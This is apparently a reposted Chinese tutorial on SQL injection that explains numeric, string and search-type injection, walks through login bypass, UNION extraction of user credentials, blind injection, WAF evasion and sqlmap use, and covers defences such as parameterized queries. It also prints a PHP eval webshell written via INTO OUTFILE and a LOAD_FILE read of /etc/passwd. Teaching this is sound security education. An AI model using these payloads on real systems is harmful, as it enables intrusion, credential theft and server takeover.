当前位置：首页 > news >正文

SQL注入核心原理与实战：数字型、字符型、搜索型注入深度解析

news 2026/6/30 1:04:06

1. 项目概述：从“入门”到“精通”的必经之路

如果你刚开始接触网络安全，尤其是Web安全方向，那么“SQL注入”这个词对你来说，可能既熟悉又陌生。熟悉是因为它几乎是所有安全教材、CTF比赛和漏洞报告中的“常客”，陌生则在于，当你真正面对一个看似简单的输入框时，却常常感到无从下手，不知道从哪里“注”进去，也不知道注入之后能做什么。我见过太多新手，对着一个登录框反复尝试‘ or ‘1’=’1，结果要么被防火墙拦截，要么毫无反应，最终只能无奈放弃，觉得SQL注入“过时了”或者“太难了”。其实，问题往往不在于技术本身，而在于你没有真正理解SQL注入的“变形”本质。

今天，我们就来彻底拆解SQL注入中最核心、也最让初学者困惑的三种类型：数字型、字符型和搜索型。这不仅仅是记住几种Payload（攻击载荷）那么简单，而是要深入到后端代码与数据库交互的“对话逻辑”中去。理解了这个，你就能像读懂对方的“语言”一样，构造出精准有效的注入语句。无论是应对CTFHub、DVWA、Pikachu这类经典的靶场环境，还是分析像“文章管理系统”、“avcon综合管理平台”这类真实场景中曝出的漏洞，你都能快速定位问题核心。我们不会停留在简单的union select演示，而是会深入到参数是如何被拼接进SQL语句的，为什么有时候需要闭合引号，有时候又不需要，搜索框的注入和普通输入框又有何不同。这是一条从“脚本小子”走向“原理派”的必经之路，掌握了它，你才算真正推开了SQL注入的大门。

2. 核心原理：理解SQL语句的“拼接艺术”

在深入三种具体类型之前，我们必须建立一个最基础的认知：SQL注入的本质，是程序将用户输入的数据，未经充分处理就直接“拼接”到了预定的SQL语句中，从而改变了原语句的语义。攻击者的目标，就是通过精心构造的输入，让这段拼接后的新SQL语句执行攻击者期望的操作，比如绕过登录、窃取数据、甚至获取服务器权限。

后端代码通常不会为每个用户写一条独立的SQL语句，而是会使用一个“模板”，然后把用户输入的数据像填空一样填进去。这个“填空”的过程，就是漏洞滋生的温床。

2.1 数字型注入：最简单的“算术题”

数字型注入之所以被认为最简单，是因为它涉及的数据通常是整数ID、页码、价格等，在SQL语句中直接以数字形式出现，不需要用引号包裹。

原语句模板：

SELECT * FROM products WHERE id = $id;

这里，$id是一个变量，程序期望用户传入一个数字，比如10。那么拼接后的语句就是：

SELECT * FROM products WHERE id = 10;

攻击者视角：如果程序没有对$id做任何检查（比如判断是否为纯数字），攻击者就可以传入一个非纯数字的字符串。例如，传入10 OR 1=1。拼接后的语句就变成了：

SELECT * FROM products WHERE id = 10 OR 1=1;

由于1=1是一个永恒为真的条件，OR运算符会导致整个WHERE条件永远成立。这条语句将返回products表中的所有记录，而不仅仅是id=10的那一条。

注意：这是最理想化的情况。在现代开发中，稍微严谨一点的代码都会用intval()、is_numeric()等函数或参数化查询来防御，所以纯数字型注入已较少见，但理解它是理解其他类型的基础。

实操中的变体：你可能会想，如果传入10 AND 1=2会怎样？拼接后是WHERE id = 10 AND 1=2，这是一个永远为假的条件，查询结果为空。这在盲注中常用于判断页面响应差异，是“布尔盲注”的基础逻辑。

2.2 字符型注入：与“引号”的博弈

字符型注入更为常见，它处理的是用户名、搜索关键词、地址等文本信息。在SQL中，文本字符串必须用单引号（‘）或双引号（“）引起来。

原语句模板：

SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘;

这是一个典型的登录查询。程序期望$username和$password是像‘admin‘、‘123456‘这样的字符串。

攻击者视角（经典绕过）：攻击者在用户名输入框输入：‘ OR ‘1‘=‘1，密码可以随意输入，比如abc。拼接后的语句变为：

SELECT * FROM users WHERE username = ‘‘ OR ‘1‘=‘1‘ AND password = ‘abc‘;

我们来分析一下这个语句的优先级。AND优先级高于OR。所以实际执行逻辑是：username = ‘‘OR (‘1‘=‘1‘ANDpassword = ‘abc‘) 由于‘1‘=‘1‘恒真，而AND运算要求两边都为真，但password = ‘abc‘很可能为假，所以括号内的结果为假。但前面还有一个OR，变成了假 OR 假，最终结果还是假。这并不能绕过登录。

正确的Payload构造：要让整个条件为真，我们需要用注释符--(或#，取决于数据库) 来注释掉后面的语句。输入用户名：‘ OR ‘1‘=‘1‘--(注意--后有一个空格，在URL中常编码为--+或--%20)。拼接后的语句：

SELECT * FROM users WHERE username = ‘‘ OR ‘1‘=‘1‘-- ‘ AND password = ‘abc‘;

--之后的所有内容都被视为注释，语句实际变为：

SELECT * FROM users WHERE username = ‘‘ OR ‘1‘=‘1‘

这样，WHERE条件恒真，数据库就会返回users表中的第一条用户记录（通常是管理员），从而实现登录绕过。这就是DVWA、Pikachu靶场中Low级别漏洞的常见利用方式。

核心难点：闭合与转义字符型注入的关键在于“闭合”原语句中的引号，并“注释”掉后续多余的引号和代码。如果原语句使用的是双引号，那么我们的Payload也需要用双引号来闭合。有时候，程序会对单引号进行转义（在前面加反斜杠\），将‘变成\‘，这样它就不再是字符串的边界，而是一个普通字符。这时，简单的‘ OR ‘1‘=‘1‘--就会失效，因为拼接后是username = ‘\‘ OR \‘1\‘=\‘1\‘-- ‘，语法错误。这就需要用到“宽字节注入”等更高级的技巧，或者寻找未转义的其他注入点。

2.3 搜索型注入：模糊匹配中的陷阱

搜索型注入是字符型注入的一个特殊子类，但因其语句模板的独特性而值得单独讨论。它通常出现在网站的搜索功能中，使用LIKE关键字进行模糊匹配。

原语句模板：

SELECT * FROM articles WHERE title LIKE ‘%$keyword%‘;

这里，%是SQL的通配符，表示任意字符。这条语句的意思是：查找title字段中包含用户输入关键词$keyword的所有文章。程序期望用户输入正常的搜索词，如“安全”。

攻击者视角：如果用户输入‘ AND 1=1 AND ‘%‘=‘%，会发生什么？拼接后的语句：

SELECT * FROM articles WHERE title LIKE ‘%‘ AND 1=1 AND ‘%‘=‘%%‘;

看起来有点乱，我们拆解一下。原模板是LIKE ‘%$keyword%‘。

输入的第一个单引号‘，会闭合LIKE关键字后的第一个单引号。
接着我们输入AND 1=1 AND ‘%‘=‘%。
我们输入部分的最后一个单引号，会与模板中第二个%后面的单引号闭合。最终，语句被成功地“缝合”起来，并插入了一个恒真条件1=1。如果页面在输入正常词和输入该Payload时返回结果不同（例如，输入正常词有结果，输入Payload无结果或报错），就能证明注入存在。

更常见的搜索型Payload：%‘ AND 1=1 AND ‘%‘=‘%拼接后：

SELECT * FROM articles WHERE title LIKE ‘%%‘ AND 1=1 AND ‘%‘=‘%%‘;

这里，‘%%‘中的第一个%是用户输入的，第二个%是模板里的。LIKE ‘%%‘表示匹配任意标题，等同于没有LIKE条件。然后再附加一个恒真条件AND 1=1。这个Payload的通用性更强。

实操心得：搜索型注入的测试，关键在于观察。输入一个普通关键词（如“test”），再输入test‘（带一个单引号）。如果后者导致页面报错（显示数据库错误信息）或与前者表现明显不同（如无结果、页面布局错乱），那么很可能存在注入。然后，再尝试使用‘ AND ‘1‘=‘1‘和‘ AND ‘1‘=‘2‘来确认，看页面返回结果是否因条件真假而不同。在CTF题目或像“文章管理系统”这类真实漏洞中，搜索框是一个需要重点排查的高危点。

3. 实战演练：手把手拆解三种注入场景

理解了原理，我们通过三个高度仿真的场景来实操，这比直接看靶场截图印象更深。我会模拟后端PHP代码和前端交互，带你一步步推导Payload。

3.1 场景一：数字型注入——商品详情页

假设有一个商品展示网站，查看商品详情的URL是：/product.php?id=1。

后端代码推测：

$id = $_GET[‘id‘]; // 直接获取URL参数 $sql = “SELECT name, description, price FROM products WHERE id = “ . $id; $result = mysqli_query($conn, $sql);

漏洞分析：代码直接将$id拼接进SQL语句，没有任何过滤。$id被直接放在WHERE id =之后，这里没有引号，所以是数字型注入。

攻击步骤：

探测漏洞：访问/product.php?id=1 AND 1=1。页面应正常显示id=1的商品。再访问/product.php?id=1 AND 1=2。由于1=2为假，AND运算导致整个条件为假，页面应该显示为空或与之前不同。如果两者响应不同，则漏洞存在。
判断字段数（为Union查询做准备）：使用ORDER BY子句。访问/product.php?id=1 ORDER BY 3。如果页面正常，说明查询结果至少有3列。尝试/product.php?id=1 ORDER BY 4，如果页面报错或异常，则说明字段数为3。这是Union注入的关键前置步骤。
实施Union查询获取数据：确定字段数后，构造Union语句。例如，字段数是3。访问：
```
/product.php?id=-1 UNION SELECT 1, database(), user()
```
为什么是id=-1？因为原查询SELECT ... WHERE id = 1会返回一条数据。我们使用Union想让自己注入的查询结果显示出来。如果id=1存在，那么页面会先显示id=1的商品信息。为了让页面只显示我们Union查询的结果，我们将原查询条件设为一个不存在的值（如-1），这样原查询结果为空，页面就会完整显示我们UNION SELECT的结果。这里，我们就能在页面上看到当前数据库名和数据库用户名。
获取表名、列名：这需要利用数据库的系统表（如MySQL的information_schema）。
```
/product.php?id=-1 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
```
通过修改LIMIT的参数（如LIMIT 1,1，LIMIT 2,1）可以逐个爆出所有表名。假设发现一个名为users的表。
获取最终数据：
```
/product.php?id=-1 UNION SELECT 1, username, password FROM users LIMIT 0,1
```
这样就能逐条获取用户名和密码。如果密码是哈希值（如MD5），则需要后续进行破解。

3.2 场景二：字符型注入——用户登录框

这是一个经典的前端登录表单，提交到/login.php。

后端代码推测：

$user = $_POST[‘username‘]; $pass = $_POST[‘password‘]; $sql = “SELECT * FROM users WHERE username=‘“ . $user . “‘ AND password=‘“ . md5($pass) . “‘“;

漏洞分析：用户名$user被直接拼接，且包裹在单引号中。密码虽然经过了MD5哈希，但哈希前的$pass如果被拼接，也可能存在注入，不过这里我们聚焦于用户名处的字符型注入。

攻击步骤：

探测与确认：在用户名框输入‘（一个单引号），密码随意。点击登录。如果页面返回数据库错误（如“You have an error in your SQL syntax”），说明存在注入点，且未过滤单引号。
确定注入类型与注释符：输入‘ OR ‘1‘=‘1‘#（MySQL中#是注释符）。如果成功登录，说明是字符型注入，且#有效。如果不行，尝试‘ OR ‘1‘=‘1‘--（注意空格）。
绕过登录获取权限：使用Payload：admin‘#。这会导致SQL语句变为：
```
SELECT * FROM users WHERE username=‘admin‘#‘ AND password=‘...‘
```
密码部分被注释掉，系统只校验用户名是否为admin。如果你知道或猜解到了一个存在的用户名（如admin、test等），就可以直接以其身份登录。这是DVWA靶场Low级别的标准解法。
进阶：获取数据库信息（需要Union支持）：这要求登录后的页面会显示用户数据。首先需要判断字段数。可以通过在用户名处输入‘ ORDER BY 5#并递增数字来测试，直到报错。假设字段数是4。然后尝试：
```
‘ UNION SELECT 1, database(), version(), 4#
```
如果登录后页面某处显示了数据库名或版本号，说明Union注入成功。后续爆表、爆列步骤与数字型类似，只是Payload需要闭合引号和注释。

重要注意事项：在实际渗透测试中，登录框的注入利用远比这复杂。很多系统在登录失败多次后会锁定IP或账户，前端的JavaScript验证也可能拦截异常输入。因此，更常见的做法是使用Burp Suite这类工具拦截HTTP请求包，直接在原始POST数据中修改username参数，这样可以绕过前端校验。

3.3 场景三：搜索型注入——站内文章搜索

网站有一个搜索框，输入关键词“网络安全”，URL变为/search.php?q=网络安全。

后端代码推测：

$keyword = $_GET[‘q‘]; $sql = “SELECT id, title, content FROM articles WHERE title LIKE ‘%“ . $keyword . “%‘ OR content LIKE ‘%“ . $keyword . “%‘“;

漏洞分析：关键词$keyword被直接拼接进两个LIKE子句，且包裹在‘%‘和‘%‘之间。

攻击步骤：

探测漏洞：搜索‘（单引号）。如果页面报错，说明存在注入。如果页面无结果或与搜索其他词时表现不同（例如，搜索正常词有结果，搜索‘无结果），也值得怀疑。
确认注入并判断类型：搜索网络安全‘ AND ‘1‘=‘1。观察页面。再搜索网络安全‘ AND ‘1‘=‘2。如果前者能搜到“网络安全”相关文章，而后者搜不到任何文章（因为‘1‘=‘2‘为假，AND导致整个条件为假），那么基本可以确认是字符型注入，且存在于搜索逻辑中。
利用漏洞获取信息：搜索型注入通常难以直接使用Union，因为页面通常以列表形式展示多条结果，且原查询可能很复杂。因此，盲注是更常用的技术。
- 布尔盲注：利用页面是否有搜索结果、搜索结果数量差异来判断条件真假。
  - Payload示例：x‘ AND (SELECT SUBSTRING(database(),1,1))=‘a‘ AND ‘%‘=‘%
  - 解释：搜索一个不存在的词x，确保原查询无结果。然后附加一个条件：数据库名的第一个字母等于 ‘a’。如果页面依然无结果，说明条件为假（第一个字母不是‘a’）；如果页面有异常（比如显示了其他内容），说明条件为真。通过遍历字母、数字，可以逐个猜解出数据库名、表名、数据。
- 时间盲注：如果页面无论真假都无变化，则使用时间盲注。利用数据库的延时函数。
  - Payload示例（MySQL）：x‘ AND IF((SELECT SUBSTRING(database(),1,1))=‘a‘, SLEEP(5), 0) AND ‘%‘=‘%
  - 解释：如果数据库名第一个字母是‘a’，则让数据库睡眠5秒，导致页面响应延迟5秒；如果不是，则立即返回。通过测量响应时间，来判断条件真假。

实操心得：搜索型注入的隐蔽性搜索型注入的Payload往往看起来“人畜无害”，比如%‘ AND 1=1 AND ‘%‘=‘%，在搜索框里可能只是一串奇怪的字符，不像‘ OR ‘1‘=‘1‘--那样典型。因此，在一些对安全不太重视的应用中，这类漏洞可能存活更久。在测试时，不要只测试登录框，任何一个用户可控的输入点，尤其是搜索、筛选、排序参数，都需要用不同的注入类型Payload进行测试。

4. 防御之道：从根源上杜绝拼接风险

在深入攻击之后，我们必须更深入地思考如何防御。知其攻，更要知其防，这才是负责任的成长之路。防御SQL注入的核心原则就一条：不要让用户输入的数据被当作SQL代码来执行。

4.1 首选方案：参数化查询（预编译语句）

这是目前公认最有效、最根本的防御手段。它的原理是将SQL语句的“结构”和“数据”分开处理。

定义结构：程序员先写好一个带占位符（如?或:name）的SQL语句模板。
绑定数据：程序运行时，将用户输入的数据“绑定”到这些占位符上。
执行：数据库引擎会严格区分语句结构和绑定数据。即使用户输入‘ OR ‘1‘=‘1‘，它也会被整体视为一个普通的字符串数据，而不会被解析为SQL运算符。

PHP (PDO) 示例：

$stmt = $pdo->prepare(“SELECT * FROM users WHERE username = :username AND password = :password“); $stmt->execute([‘username‘ => $user, ‘password‘ => $pass]); // 或者使用 ? $stmt = $pdo->prepare(“SELECT * FROM users WHERE username = ? AND password = ?“); $stmt->execute([$user, $pass]);

Python (sqlite3) 示例：

cursor.execute(“SELECT * FROM users WHERE username = ? AND password = ?“, (username, password))

Java (JDBC) 示例：

PreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE username = ? AND password = ?“); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs = stmt.executeQuery();

使用参数化查询后，无论输入什么，username字段的值永远是那个完整的字符串，不可能改变WHERE子句的逻辑。

4.2 严格输入验证与过滤

参数化查询是治本之策，但输入验证是重要的补充防线。原则是“白名单”优于“黑名单”。

对于数字型参数：使用intval()、filter_var($id, FILTER_VALIDATE_INT)等函数强制转换为整数。非数字输入会被转换为0或过滤掉。
对于字符型参数：明确允许的字符集。例如，用户名可以只允许字母、数字和下划线：preg_match(“/^[a-zA-Z0-9_]+$/“, $username)。
对于搜索型参数：限制长度，过滤掉非预期的特殊字符（但注意，不能盲目过滤单引号，因为用户可能正常搜索包含单引号的内容，如“O‘Reilly”）。

警告：单纯依赖过滤（如addslashes()、mysql_real_escape_string()）在特定字符集（如GBK）下可能因“宽字节注入”而失效。因此，过滤绝不能替代参数化查询，只能作为辅助。

4.3 最小权限原则与数据库加固

即使应用层存在漏洞，也可以通过数据库配置来限制损失。

应用数据库账户权限最小化：连接数据库的应用程序账号，不应具有DROP、CREATE TABLE、FILE等高级权限。通常只赋予SELECT、INSERT、UPDATE、DELETE等必要权限。这样，即使发生注入，攻击者也无法删库、删表或读写服务器文件。
禁用敏感函数：在数据库配置中，可以考虑禁用LOAD_FILE()、INTO OUTFILE等可能导致文件泄露的函数。
错误信息处理：将生产环境的数据库错误信息隐藏，返回通用的错误页面，避免向攻击者泄露数据库结构、字段名等敏感信息。这是防御“基于错误的注入”的关键。

4.4 Web应用防火墙的辅助

WAF可以作为一道外围防线，基于规则库识别和拦截常见的SQL注入攻击模式。例如，当检测到请求参数中包含UNION SELECT、‘ OR ‘1‘=‘1‘等模式时，可以主动阻断请求。但WAF可能存在误判（拦截正常请求）和漏判（被新型或混淆的Payload绕过），因此不能作为唯一的防御手段。

5. 高级技巧与疑难排查

当你掌握了基础注入方法后，在实际的CTF比赛或更复杂的黑盒测试中，会遇到各种“变形”和障碍。这里分享一些进阶技巧和排查思路。

5.1 绕过常见过滤与WAF

大小写混淆/双写绕过：有些简单的过滤会删除SELECT、UNION等关键词。可以尝试SeLeCt、UnIoN。或者双写：SELSELECTECT，当中间的SELECT被删除后，剩下的字符又组成了SELECT。
等价函数/语句替换：‘ OR ‘1‘=‘1‘可以用‘ OR ‘a‘=‘a‘替换。SUBSTRING()可以用MID()、LEFT()替换。ASCII()可以用ORD()替换。
编码与混淆：对Payload进行URL编码、十六进制编码、Unicode编码等。例如，SELECT的十六进制是0x53454c454354，在MySQL中可以这样使用：UNION SELECT 1,2,3->UNION 0x53454c454354 1,2,3。或者使用注释符分割关键词：SEL/**/ECT。
利用数据库特性：
- MySQL注释技巧：/*!SELECT*/在MySQL中会被执行，在其他数据库可能被当作注释。/*!50000SELECT*/表示在MySQL版本大于等于5.00.00时执行。
- 字符串拼接：如果UNION和SELECT被分开过滤，可以尝试‘ UNION ALL SEL%0bECT 1,2,3#，其中%0b是垂直制表符的URL编码，在某些环境下可以当作空格使用。

5.2 盲注的自动化与提速

手工进行盲注（尤其是时间盲注）极其耗时。必须借助工具。

工具推荐：sqlmap。这是SQL注入领域的“神器”。对于搜索型注入或任何可疑的参数，可以这样使用：
```
sqlmap -u “http://target.com/search.php?q=test“ --batch --level=3 --risk=2
```
--batch自动选择默认选项，--level和--risk提高测试的强度和深度。sqlmap会自动探测注入类型、数据库类型，并尝试进行数据提取。
提速技巧：
- 使用--threads参数开启多线程。
- 明确指定数据库类型--dbms=mysql。
- 对于时间盲注，可以调整--time-sec设置更短的延时判断时间。
- 使用--hex有时可以避免因数据包含特殊字符导致的提取失败。

5.3 疑难场景排查思路

输入单引号页面不报错也不变化？
- 可能一：前端做了JavaScript校验，根本没发到服务器。用Burp Suite拦截请求，直接修改Raw数据再重放。
- 可能二：服务器端使用了参数化查询，注入失败。尝试其他参数或更隐蔽的注入点（如HTTP头部的X-Forwarded-For、User-Agent、Cookie等）。
- 可能三：存在过滤但被转义了。尝试输入\‘，看是否被转义为\\‘。或者尝试数字型注入Payload。
Union注入时，ORDER BY测出字段数，但UNION SELECT不显示数据？
- 可能一：页面只显示查询结果的第一行。确保原查询条件不返回数据（如id=-1或id=99999）。
- 可能二：Union前后字段数据类型不匹配。尝试将UNION SELECT 1,2,3...中的数字换成null或‘a‘等通用类型。
- 可能三：有WAF拦截了UNION SELECT。尝试使用大小写、编码、注释等绕过技巧。
时间盲注时，响应时间没有明显延迟？
- 可能一：网络波动大。增加SLEEP时间（如10秒），并使用工具多次请求取平均值。
- 可能二：数据库用户没有SLEEP函数的执行权限，或者函数被禁用。尝试使用基于布尔盲注的方法。
- 可能三：注入点判断错误。重新确认哪个参数存在注入，并使用更简单的Payload（如‘ AND SLEEP(5) AND ‘1‘=‘1）验证。

5.4 从注入到Getshell的路径

在极少数的高危漏洞中，SQL注入点可能结合数据库的特定功能，实现从数据库操作到服务器命令执行的跨越。这通常需要数据库配置不当（如启用secure_file_priv为空）且应用数据库用户拥有FILE权限。

利用INTO OUTFILE写文件：在MySQL中，构造UNION SELECT “<?php @eval($_POST[‘cmd‘]);?>“,2,3 INTO OUTFILE ‘/var/www/html/shell.php‘。这会将一句话木马写入Web目录。但需要知道网站的绝对路径，并且目录有写权限。
利用LOAD_FILE()读文件：UNION SELECT LOAD_FILE(‘/etc/passwd‘),2,3可以读取服务器上的敏感文件，获取更多信息。
利用数据库存储过程：如SQL Server的xp_cmdshell可以执行系统命令。但现代数据库默认都禁用了这些危险功能。

重要提醒：上述Getshell方法仅用于理解攻击链的完整性，在任何未经授权的系统上进行尝试都是非法的。在合法授权的渗透测试或CTF比赛中，也需严格遵守规则范围。

SQL注入的“变形记”远不止这三种基础类型，还有报错注入、堆叠注入、二次注入、JSON注入等等。但数字型、字符型、搜索型是构建所有复杂注入知识的基石。理解它们，就如同习武之人扎好了马步，后续学习各种“招式”才能得心应手。真正的成长，不在于记住了多少Payload，而在于面对一个未知的输入框时，你能否在脑海中清晰地推演出后端可能的代码逻辑，并设计出相应的测试方案。这条路没有捷径，唯有多看、多练、多思考。从DVWA、Pikachu、SQLi-Labs这些靶场开始，亲手触发每一次报错，观察每一次页面回显的差异，你才能真正将原理内化。当你能独立解出一道CTF的SQL注入题，或是在代码审计中一眼看出拼接漏洞时，你会感谢当初深入理解这三种“变形”的自己。

查看全文

http://www.jsqmd.com/news/1092805/